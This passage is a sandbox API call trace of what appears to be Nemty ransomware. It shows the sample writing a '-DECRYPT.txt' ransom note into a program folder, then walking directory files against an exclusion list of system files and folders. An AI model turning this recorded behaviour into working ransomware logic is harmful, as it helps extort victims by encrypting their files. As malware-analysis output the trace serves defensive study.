(hObject=0x1e8) returned 1 [0170.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0170.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0170.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0170.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0170.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941f0 [0170.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94278 [0170.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0170.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0170.156] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.157] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0170.157] CloseHandle (hObject=0x1e8) returned 1 [0170.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0170.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0170.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x190ff9d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x190ff9d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0170.158] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0170.158] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x190ff9d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x190ff9d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0170.158] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0170.158] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0170.158] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32398, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2=".") returned 1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="..") returned 1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="...") returned 1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="windows") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="rsa") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="NTDETECT.COM") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="ntldr") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="MSDOS.SYS") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="IO.SYS") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="boot.ini") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="boot.ini") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="ntuser.dat") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="desktop.ini") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="CONFIG.SYS") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="RECYCLER") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="bootmgr") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="programdata") returned -1 [0170.158] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="appdata") returned -1 [0170.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A3DUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A3DUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A3DUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A3DUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A3DUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941f0 [0170.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.159] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7d88, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2=".") returned 1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="..") returned 1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="...") returned 1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="windows") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="rsa") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="NTDETECT.COM") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="ntldr") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="MSDOS.SYS") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="IO.SYS") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="boot.ini") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="boot.ini") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="ntuser.dat") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="desktop.ini") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="CONFIG.SYS") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="RECYCLER") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="bootmgr") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="programdata") returned -1 [0170.159] lstrcmpiW (lpString1="ACE.dll", lpString2="appdata") returned -1 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACE.dll", lpUsedDefaultChar=0x0) returned 7 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACE.dll", lpUsedDefaultChar=0x0) returned 7 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x653ef60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACE.dll", lpUsedDefaultChar=0x0) returned 7 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACE.dll", cchWideChar=7, lpMultiByteStr=0x653ef98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACE.dll", lpUsedDefaultChar=0x0) returned 7 [0170.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0170.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0170.160] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f98, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2=".") returned 1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="..") returned 1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="...") returned 1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="windows") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="$RECYCLE.BIN") returned 1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="rsa") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="NTDETECT.COM") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="ntldr") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="MSDOS.SYS") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="IO.SYS") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="boot.ini") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="boot.ini") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="AUTOEXEC.BAT") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="ntuser.dat") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="desktop.ini") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="CONFIG.SYS") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="RECYCLER") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="BOOTSECT.BAK") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="bootmgr") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="programdata") returned -1 [0170.160] lstrcmpiW (lpString1="AcroBroker.exe", lpString2="appdata") returned -1 [0170.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0170.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroBroker.exe", lpUsedDefaultChar=0x0) returned 14 [0170.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0170.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroBroker.exe", lpUsedDefaultChar=0x0) returned 14 [0170.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0170.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x653ef60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroBroker.exe", lpUsedDefaultChar=0x0) returned 14 [0170.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0170.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x653ef98, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroBroker.exe", lpUsedDefaultChar=0x0) returned 14 [0170.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941f0 [0170.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.161] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2=".") returned 1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="..") returned 1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="...") returned 1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="windows") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="rsa") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="NTDETECT.COM") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="ntldr") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="MSDOS.SYS") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="IO.SYS") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="boot.ini") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="boot.ini") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="ntuser.dat") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="desktop.ini") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="CONFIG.SYS") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="RECYCLER") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.161] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="bootmgr") returned -1 [0170.162] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="programdata") returned -1 [0170.162] lstrcmpiW (lpString1="Acrofx32.dll", lpString2="appdata") returned -1 [0170.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acrofx32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acrofx32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acrofx32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acrofx32.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acrofx32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94278 [0170.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0170.162] FindNextFileW (in: hFindFile=0x3423a30, 